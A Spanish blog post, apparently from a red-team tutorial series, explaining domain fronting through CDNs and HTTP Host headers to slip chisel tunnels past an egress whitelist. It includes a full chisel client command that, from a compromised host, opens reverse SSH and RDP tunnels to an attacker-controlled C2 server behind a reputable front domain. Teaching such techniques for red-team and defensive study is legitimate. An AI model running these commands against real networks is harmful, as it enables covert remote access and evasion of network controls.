Túneles en la sombra 3: Domain Fronting
¡Hola de nuevo a todos! Hoy toca publicar el último post de la serie que comencé hace unas semanas, compuesta por tres artículos, en los que he ido explicando una técnica para crear y “ocultar” túneles HTTP en los que encapsular cualquier tipo de tráfico, por medio de la herramienta Chisel y el servidor NGINX.
En el primer post expliqué cómo utilizar Chisel para crear estos túneles y vimos un ejemplo de ejecución básica de esta herramienta, así como diversas opciones que ofrece para llevar esta a cabo en modo servidor y en modo cliente. En el segundo post os hablé sobre NGINX y en cómo usar este servidor para “camuflar” los túneles HTTP creados con la citada herramienta. En esta última entrada, me centro en Domain Fronting, una “técnica” que puede resultar útil, por ejemplo, en escenarios de Red Team en donde el entorno sea muy restrictivo con el tipo de tráfico que permite salir a Internet y HTTP sea una de las pocas opciones, o incluso la única. Vamos a intentar condensar todo lo que hemos explicado en las tres partes en un ejemplo práctico.
Domain Fronting es posible gracias al comportamiento del protocolo HTTP 1.1 y su cabecera Host. Cuando se envía una petición a un servidor web, lo normal es que el dominio de la cabecera Host coincida con el del enlace o URL al que se está haciendo la petición, aunque esto no tiene por qué ser siempre así. Por ejemplo, si tenemos un servidor web configurado con varios Hosts virtuales (vhosts) podemos indicar en la cabecera Host cualquiera de ellos pero poner otro en la petición, y la petición se resolverá correctamente. Es decir, “GET www.vhost1.com HTTP/1.1\r\nHost: vhost2.net” funciona siempre y cuando ambos “vhosts” estén alojados en el mismo servidor. En resumen, esto ocurre debido a que la cabecera Host funciona a nivel de aplicación y la URL a nivel de red. La URL se utilizará para hacer la petición DNS y obtener la dirección IP del servidor y el servidor utilizará la cabecera Host en la petición que le llegue para servir el contenido web que le esté indicando.
Esta particularidad de HTTP es, en cierta forma, en lo que se apoyan las CDNs (Content Delivery Networks) para funcionar. Cuando se da de alta una página en una CDN se crea algo parecido a un vhost. Además, se crea a nivel DNS una entrada CNAME que traduce el nombre de la página original al nombre de la página creada en la CDN para indicar, por ejemplo, que fronted.mydomain.org es un alias de as3dfgh1203.cloud.net. Tanto este comportamiento del protocolo HTTP como la existencia de las CDN, resultan bastante útiles desde el punto de vista ofensivo.
Vamos a tratar de condensar todo lo que hemos comentado en esta serie en un ejemplo práctico totalmente hipotético. Supongamos, por ejemplo, que hemos comprometido un equipo en una red interna y nos gustaría poder tener una conexión más estable de la que tenemos, además de utilizarlo como máquina de salto hacia el resto de la red interna. Sin embargo, hemos descubierto que la infraestructura interna de esta red está muy protegida, lo que conlleva que nuestro equipo solo puede salir a Internet utilizando tráfico HTTP a ciertos dominios registrados en una lista blanca de acceso, cualquier otro tipo de tráfico se deniega. Chisel nos podría ser útil en esta situación, sin embargo necesitamos evadir de alguna forma la lista blanca de salida, para lo que podríamos probar Domain Fronting. Haciendo pruebas lograremos descubrir un dominio, luckyu.net, el cual tiene buena reputación, está en la lista blanca que nos está bloqueando y está libre. En definitiva, un dominio que podemos utilizar como “frontal”. Una vez hecho esto, adquirimos este dominio y damos de alta el subdominio front.luckyu.net en la CDN nimbus.cdn, obteniendo la URL ae358odhanl3.nimbus.cdn.
Adicionalmente, daremos de alta otra página, c2.luckyme.lol, en la CND y obtendremos la URL l3et31ee7w0w. nimbus.cdn. Este último dominio no tiene para nada buena reputación y es uno de los que utilizamos para nuestros “estudios”. Una vez registradas nuestras URLs y habiendo creado los registros CNAME correspondientes para nuestros dominios, front.luckyu.net es un alias de ae358odhanl3.nimbus.cdn y c2.luckyme.lol uno de l3et31ee7w0w.nimbus.cdn, estaremos listos para “saltarnos” la lista blanca y salir con chisel. No obstante, antes de eso, y como nos gusta ser lo más “opsec” posible, habremos configurado NGINX en nuestro servidor de “estudios” c2.luckyme.lol para que escuche conexiones en el puerto 80 y, dependiendo de si son conexiones de cliente chisel entrantes o no, las reenvíe a un servidor interno nuestro donde escucha un servidor chisel o sirva una web inocua. Para ser incluso más sofisticados, podemos montar otra web inocua en front.luckyu.net de forma que si algún servicio de categorización web la analiza, se mantenga la buena reputación del dominio.
Con todo eso hecho, ya podríamos ejecutar nuestro cliente chisel desde la máquina comprometida de la siguiente manera:
chisel client --fingerprint 6d:75:64:61:6d:75:64:61 --auth joseph:0hMYg0d! --keepalive 50s -v --hostname l3et31ee7w0w.nimbus.cdn http://front.luckyu.net R:127.0.0.1:2222:localhost:22 R:127.0.0.1:3333:localhost:3389
Con la anterior ejecución conseguimos que la máquina interna comprometida lance una conexión chisel a http://front.luckyu.net, la cual sale de la red interna porque es HTTP y el dominio destino está en la lista blanca. Pero front.luckyu.net es un alias para ae358odhanl3.nimbus.cdn que es dónde se envía la petición después de la resolución DNS. Al llegar la petición a la CDN dónde está dada de alta ae358odhanl3.nimbus.cdn, esta comprueba la cabecera HTTP Host que hemos establecido usando el parámetro –host de chisel, y ve que la petición es, en realidad, para l3et31ee7w0w.nimbus.cdn y allí es dónde la envía. Después de que la CDN haga su “magia”, el resultado final será que la petición llegue a la máquina donde tenemos nuestro servidor de “estudios” c2.luckyme.lol. Al llegar esta petición, nuestro NGINX verá que es una conexión chisel entrante y se la reenviará a nuestro servidor interno en donde tendremos un servidor chisel en ejecución. Resultado final: en nuestro servidor interno tendremos conectividad SSH y RDP en los puertos 2222 y 3333 hacia la máquina comprometida encapsulada en un túnel HTTP camuflado como una conexión legítima a un dominio con buena reputación.
Así terminaríamos el post y la serie. Esperamos que os haya gustado y, sobre todo, que os pueda ser útil.
Para despedirnos os dejamos un enlace a una web donde podréis consultar más información sobre Domain Fronting: https://digi.ninja/blog/domain_fronting.php
¡Nos vemos!
David Bueno.